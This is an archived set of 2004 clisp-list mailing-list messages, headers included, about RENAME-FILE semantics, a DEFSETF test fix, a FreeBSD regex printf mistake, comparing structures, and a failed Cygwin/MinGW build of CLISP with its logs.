[clisp-list] bad semantics for RENAME-FILE on posix Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 21 21:51:20 2004 X-Original-Date: Mon, 22 Nov 2004 06:44:40 +0100 (CET) On posix, the rename(2) syscall has am important atomic semantic: If newpath already exists it will be atomically replaced (subject to a few conditions - see ERRORS below), so that there is no point at which another process attempting to access newpath will find it missing. If newpath exists but the operation fails for some reason rename guarantees to leave an instance of newpath in place. cmucl, sbcl, gcl, ecls all understand this semantic and implement RENAME-FILE using this posix syscall. Unfortunately, clisp doesn't. When there already exists a file under the target name, it returns an error instead of applying the standard posix semantics. This prevent us to write safe atomic updating of files on posix systems with clisp without resolving to unportable code. I strongly suggest that clisp implementation of RENAME-FILE be changed to use rename(2) plainly on posix systems. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From kon@iki.fi Sun Nov 21 22:29:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CW7i3-0006OW-9e for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 22:29:59 -0800 Received: from addr-213-216-218-8.suomi.net ([213.216.218.8] helo=Astalo.kon.iki.fi) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CW7hZ-0008D3-2Z for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 22:29:59 -0800 Received: from kalle by Astalo.kon.iki.fi with local (Exim 4.34) id 1CW7hP-0001qx-Ab; Mon, 22 Nov 2004 08:29:19 +0200 To: clisp-list@lists.sourceforge.net Keywords: DEFSETF,storing form,expansion,primary value X-Accept-Language: fi;q=1.0, en;q=0.9, sv;q=0.5, de;q=0.1 From: Kalle Olavi Niemitalo In-Reply-To: (Sam Steingold's message of "Sun, 21 Nov 2004 18:27:15 -0500") References: <874qjiorch.fsf@Astalo.kon.iki.fi> Message-ID: <87y8gumm68.fsf@Astalo.kon.iki.fi> User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: setf-related bugs without value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 21 22:30:26 2004 X-Original-Date: Mon, 22 Nov 2004 08:29:19 +0200 Sam Steingold writes: > thanks, fixed. Thank you. However, I realized that the DEFSETF form I posted, (defsetf foo () () (values)) is actually incorrect: the storing form will be NIL, which does not return the correct number of values. The form should be: (defsetf foo () () '(values)) Please correct the test you added in setf.tst. From stephane@freebsd-fr.org Mon Nov 22 06:36:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CWFIe-0000ey-H1 for clisp-list@lists.sourceforge.net; Mon, 22 Nov 2004 06:36:16 -0800 Received: from postfix4-2.free.fr ([213.228.0.176]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CWFIc-0004fJ-B3 for clisp-list@lists.sourceforge.net; Mon, 22 Nov 2004 06:36:16 -0800 Received: from sequoia.mondomaineamoi.megalo (lns-vlq-17f-81-56-170-180.adsl.proxad.net [81.56.170.180]) by postfix4-2.free.fr (Postfix) with ESMTP id 9CD172356A0; Mon, 22 Nov 2004 15:36:05 +0100 (CET) Received: from sequoia.mondomaineamoi.megalo (localhost.mondomaineamoi.megalo [127.0.0.1]) by sequoia.mondomaineamoi.megalo (8.13.1/8.13.1) with ESMTP id iAMEZvF3018118; Mon, 22 Nov 2004 15:35:57 +0100 (CET) (envelope-from stephane@sequoia.mondomaineamoi.megalo) Received: (from stephane@localhost) by sequoia.mondomaineamoi.megalo (8.13.1/8.13.1/Submit) id iAMEZsV1018117; Mon, 22 Nov 2004 15:35:54 +0100 (CET) (envelope-from stephane) From: Stephane Legrand To: "Pascal J.Bourguignon" Cc: Christian Pohlmann , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems w/ regexp on clisp 2.33.2 / freebsd Message-ID: <20041122143554.GV728@sequoia.mondomaineamoi.megalo> Reply-To: stephleg@free.fr References: <16798.6579.823861.736646@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <16798.6579.823861.736646@thalassa.informatimago.com> User-Agent: Mutt/1.4.2.1i Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 22 07:07:23 2004 X-Original-Date: Mon, 22 Nov 2004 15:35:54 +0100 On Fri, Nov 19, 2004 at 05:05:07PM +0100, Pascal J.Bourguignon wrote: > Christian Pohlmann writes: > > Hello, > >=20 > > this time I searched many available clisp resources like the FAQ or t= he > > impnotes. Anyway, there seems to be a problem with your regexp module= in > > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran= it > > with regexp support and just tried out the example you mention in the > > impnotes. This is what I get for the first one: > >=20 > > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.") > > #S(REGEXP:MATCH :START 4 :END 0) > > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :star= t 8) > > #S(REGEXP:MATCH :START 26 :END 8) > > [3]>=20 > >=20 > > ... >=20 > There are bugged implementations of regex! > Fetch gnu regex (from glibc) and compile it with clisp. >=20 > See: http://sourceforge.net/mailarchive/message.php?msg_id=3D9272757 >=20 >=20 > Use this c program to check your implementation of regex: >=20 > #include > #include > #include >=20 > int main(int argc,char** argv){ > printf("%d\n",argc); > if(argc=3D=3D3){ > regex_t* re=3D(regex_t*)malloc(sizeof(regex_t)); > int status=3Dregcomp(re,argv[1],0); > if(status!=3D0){ > char buf[128]; > regerror(status,re,buf,sizeof(buf)); > printf("regcomp error %s\n",buf); > return(1); } > { > int i; > regmatch_t* matches=3D(regmatch_t*)malloc((re->re_nsub+= 1) > *sizeof(regmatc= h_t)); > status=3Dregexec(re,argv[2],re->re_nsub+1,matches,0); > if(status!=3D0){ > char buf[128]; > regerror(status,re,buf,sizeof(buf)); > printf("regexec error %s\n",buf); > return(1); } > for(i=3D0;i<=3Dre->re_nsub;i++){ > if((0<=3Dmatches[i].rm_so)&&(0<=3Dmatches[i].rm_eo)= ){ > printf("match %2d: %2d %2d\n",i, > matches[i].rm_so,matches[i].rm_eo); }}} > }else{ > printf("usage: %s pattern string\n",argv[0]); } > return(0); } >=20 Hello, As i use myself FreeBSD, i did a search on Google about this problem. Well, it seems it's not a bug in the regexp library but a typing mistake (please see http://www.omnigroup.com/mailman/archive/macosx-dev/2000-November/006871.= html). And indeed, if you replace:=20 printf("match %2d: %2d %2d\n",i, with printf("match %2d: %lld %lld\n",i, =20 you get a right answer (tested on a FreeBSD 5.3-STABLE, Intel Pentium II processor): % ./a.out "quick" "The quick brown fox jumps quickly." 3 match 0: 4 9 % ./a.out "." "a" 3 match 0: 0 1 Regards, Stephane Legrand. --=20 Je recherche un emploi de d=E9veloppeur/admin. sys. (FreeBSD,Linux,PHP,Perl,MySQL,OCaml,Tcl/Tk...) =3D=3D> http://stephleg.free.fr/cv.pdf <=3D=3D From kiniry@acm.org Wed Nov 24 04:43:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CWwUU-0003uT-Kq; Wed, 24 Nov 2004 04:43:22 -0800 Received: from kind.cs.kun.nl ([131.174.33.98] helo=mail.kindsoftware.com ident=[sLxujwJyZHLTJxmEiAFwUcy59KBS+tRD]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CWwUT-00016T-TO; Wed, 24 Nov 2004 04:43:22 -0800 Received: from [193.1.132.119] (account kiniry [193.1.132.119] verified) by mail.kindsoftware.com (CommuniGate Pro SMTP 4.1.6) with ESMTP-TLS id 162968; Wed, 24 Nov 2004 13:43:19 +0100 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net, sbcl-help@lists.sourceforge.net, cmucl-help@cons.org From: Joseph Kiniry X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Comparing arbitrary structures. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 04:48:18 2004 X-Original-Date: Wed, 24 Nov 2004 12:43:17 +0000 I'm porting an application (OBJ3) to CMUCL, SBCL, and CLISP. I need a function that will define a total order on two arbitrary structures. In my other ports, I've used internal functions to get lists of slots, orders on them, etc. Do the CMUCL, SBCL, and CLISP developers have suggestions for implementing such a function? I've dug around the internal functionality, but have not found an obvious solution to this problem. Thanks, Joe --- Joseph R. Kiniry ID 78860581 ICQ 4344804 University College Dublin / National University of Ireland, Dublin KindSoftware, LLC http://www.kindsoftware.com/ Board Chair: NICE http://www.eiffel-nice.org/ From kavenchuk@jenty.by Wed Nov 24 00:54:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CWsuq-0008UU-TD for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 00:54:20 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CWsuh-0000Rl-Gk for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 00:54:20 -0800 Received: from STNT067 ([150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WP7QACRM; Wed, 24 Nov 2004 10:56:06 +0200 Message-ID: <000601c4d203$303ebf90$c8000096@stnt067> From: "Yaroslav Kavenchuk" To: MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1409 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] is possible build win-32 native clisp (cvs-version) with cygwin? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 06:17:47 2004 X-Original-Date: Wed, 24 Nov 2004 10:54:14 +0200 Sorry my bad english. My attempt build cvs-version clisp with cygwin and option --with-mingw is unsuccessful. Details: > $ uname -a > CYGWIN_NT-5.1 home 1.5.12(0.116/4/2) 2004-11-10 08:34 i686 unknown unknown Cygwin > $ gcc --version > gcc (GCC) 3.4.1 (cygming special) > Copyright (C) 2004 Free Software Foundation, Inc. > This is free software; see the source for copying conditions. There is NO > warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > $ ./configure --with-mingw --config build-win32 ... > checking whether floats are returned in integer registers... After this message generate error: > conftest.exe - error > AppName: conftest.exe AppVer: 0.0.0.0 ModName: conftest.exe > ModVer: 0.0.0.0 Offset: 000012b8 but ./configure... continue work ... > $ cd build-win32 > $ ./makemake --with-dynamic-ffi --win32gcc > Makefile > $ make config.lisp > $ make > $ make check ... > RUN-ALL-TESTS: grand total: 1 error out of 9,941 tests > > Real time: 80.609375 sec. > Run time: 60.75 sec. > Space: 310618680 Bytes > GC: 465, GC time: 32.171875 sec.9941 ; > 1 > > > Bye. > (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) > Test failed: > -rwxr-xr-x 1 Slava None 366 Nov 23 00:41 streamslong.erg > To see which tests failed, type > cat /usr/src/clisp/build-win32/tests/*.erg > make[1]: *** [compare] Error 1 > make[1]: Leaving directory `/usr/src/clisp/build-win32/tests' > make: *** [check-tests] Error 2 > $ cat /usr/src/clisp/build-win32/tests/streamslong.erg > Form: (LET ((F "foo") (S "12345") L) (WITH-OPEN-FILE (O F :DIRECTION :OUTPUT) (WRITE-STRING S O)) (WITH-OPEN-FILE (I F :BUFFERED T) (LISTEN I) (PUSH (READ-CHAR I) L)) (WITH-OPEN-FILE (I F :BUFFERED NIL) (LISTEN I) (PUSH (READ-CHAR I) L)) (DELETE-FILE F) L) > CORRECT: (#\1 #\1) > CLISP : ERROR > Win32 error 0 (ERROR_SUCCESS): The operation completed successfully. > $ make distrib Extract distrib in C:\CLISP an run install.bat ... > *** - USE-PACKAGE: There is no package with name "LDAP" Comment line (use-package "LDAP") in install.lisp and run install.bat ... > WARNING in ADD-LISP-FILE : > LF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > LF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > LF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > IC is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > LF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > CC is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > CC is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-LISP-FILE : > CMD is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > FF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > FF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > FF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > IC is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > FF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > SH is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > SH is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > EX is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > EX is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > CMD is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > SH is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > LO is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > LO is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-FAS-FILE : > CMD is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > MF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > MF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > MF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > IC is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > MF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > SH is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > SH is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > EX is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > EX is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in ADD-MEM-FILE : > CMD is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in COMPILED-FORM-127 : > C1 is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in COMPILED-FORM-127 : > LF is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in COMPILED-FORM-127 : > C1 is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in COMPILED-FORM-127 : > C1 is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > WARNING in COMPILED-FORM-127 : > C1 is neither declared nor bound, > it will be treated as if it were declared SPECIAL.Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n) > *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. in C:\CLISP\base\ > $ ./lisp.exe -M lispinit.mem --version > GNU CLISP 2.33 (2004-03-17) (built 3310151485) (memory 3310151918) > Software: GNU C 3.4.1 (cygming special) > gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty pe -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_T ERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -luuid > SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > Features: > (LOOP COMPILER CLOS CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS > LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) > Installation directory: > User language: ENGLISH > Machine: PC/386 (PC/686) home [127.0.0.1] > $ ./lisp.exe -M lispinit.mem > [1]> > *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. > The following restarts are available: > ABORT :R1 ABORT > > Break 1 [2]> > *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. > The following restarts are available: > ABORT :R1 ABORT > ABORT :R2 ABORT > > Break 2 [3]> > *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. > The following restarts are available: > ABORT :R1 ABORT > ABORT :R2 ABORT > ABORT :R3 ABORT and so on. If add in command ./configure ... any module (sample: ./configure --with-module=syscalls --with-module=dirkey ...) "make" return error: > configure: * System Calls (done) > CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc -mno-cygwin" CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno- sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_N CURSES -DDYNAMIC_FFI -DNO_GETTEXT-DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}win32.c ${dots}xthread.c ${dots}stdbool.h ${dots}stdint.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -luuid " RANLIB="ranlib" CLISP="$CLISP -q" > make[1]: Entering directory `/usr/src/clisp/build-win32/syscalls' > /usr/src/clisp/build-win32/lisp.exe -M /usr/src/clisp/build-win32/lispinit.mem -B /usr/src/clisp/build-win32 -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas calls.c > C:\cygwin\usr\src\clisp\build-win32\lisp.exe: operating system error during load of initialization file `/usr/src/clisp/build-win32/lispinit.mem' > GetLastError() = 0x3 (ERROR_PATH_NOT_FOUND): The system cannot find the path specified. > make[1]: *** [calls.m.c] Error 1 > make[1]: Leaving directory `/usr/src/clisp/build-win32/syscalls' > make: *** [syscalls] Error 2 IMHO, lisp.exe with --with-mingw don't understand unix-path. if change in build-win32/Makefile: anymodule $(MODULES) : lisp.exe lispinit.mem force modprep.fas exporting.fas clisp.h test -d $@ || ../src/lndir ../modules/$@ $@ if test -f $@/configure -a '!' -f $@/config.status ; then cd $@ ; CC="$(CC)" ./configure --cache-file=`echo $@/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi -- CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd $@ ; dots=`echo $@/ | sed -e 's,[^/][^/]*//*,../,g'` ; $(MAKE) clisp-module CC="$(CC)" CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)" INCLUDES="$$dots" LISPBIBL_INCLUDES=" $${dots}lispbibl.c $${dots}fsubr.c $${dots}subr.c $${dots}pseudofun.c $${dots}constsym.c $${dots}constobj.c $${dots}win32.c $${dots}xthread.c $${dots}stdbool.h $${dots}stdint.h $${dots}libcharset.h" CLFLAGS="$(CLFLAGS)" LIBS="$(LIBS)" RANLIB="$(RANLIB)" CLISP="$$CLISP -q" ++ CLISP="../lisp.exe -M ../lispinit.mem -B ../ -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd $@ ; dots=`echo $@/ | sed -e 's,[^/][^/]*//*,../,g'` ; $(MAKE) clisp-module CC="$(CC)" CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)" INCLUDES="$$dots" LISPBIBL_INCLUDES=" $${dots}lispbibl.c $${dots}fsubr.c $${dots}subr.c $${dots}pseudofun.c $${dots}constsym.c $${dots}constobj.c $${dots}win32.c $${dots}xthread.c $${dots}stdbool.h $${dots}stdint.h $${dots}libcharset.h" CLFLAGS="$(CLFLAGS)" LIBS="$(LIBS)" RANLIB="$(RANLIB)" CLISP="$$CLISP -q" make don't return error (but how add "--with-module=bindings/win32"?..) > $ make check ... > Test failed: > -rwxr-xr-x 1 Slava None 366 Nov 23 01:49 streamslong.erg ... install.bat don't want package with name "LDAP" :) but *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. This is all. Sorry again. -- WBR Yaroslav Kavenchuk. From sds@gnu.org Wed Nov 24 06:40:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CWyK6-0003mR-CH for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 06:40:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CWyJz-0008G4-1V for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 06:40:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAOEeLnE000853; Wed, 24 Nov 2004 09:40:21 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joseph Kiniry Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> (Joseph Kiniry's message of "Wed, 24 Nov 2004 12:43:17 +0000") References: <6A2042E8-3E16-11D9-BF1C-000D93ACC586@acm.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Joseph Kiniry Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Comparing arbitrary structures. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 24 07:04:32 2004 X-Original-Date: Wed, 24 Nov 2004 09:40:21 -0500 > * Joseph Kiniry [2004-11-24 12:43:17 +0000]: > > In my other ports, I've used internal functions to get lists of slots, > orders on them, etc. > > Do the CMUCL, SBCL, and CLISP developers have suggestions for > implementing such a function? I've dug around the internal > functionality, but have not found an obvious solution to this problem. use MOP: see also CLOCC/PORT/sys.lisp:class-slot-list -- Sam Steingold (http://www.podval.org/~sds) running w2k Experience comes with debts. From sds@gnu.org Wed Nov 24 06:59:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CWycg-0000II-ET for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 06:59:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CWycZ-00059V-Ge for clisp-list@lists.sourceforge.net; Wed, 24 Nov 2004 06:59:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAOExNnE006929; Wed, 24 Nov 2004 09:59:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Yaroslav Kavenchuk" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <000601c4d203$303ebf90$c8000096@stnt067> (Yaroslav Kavenchuk's message of "Wed, 24 Nov 2004 10:54:14 +0200") References: <000601c4d203$303ebf90$c8000096@stnt067> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Yaroslav Kavenchuk" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: is possible build win-32 native clisp (cvs-version) with cygwin? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net 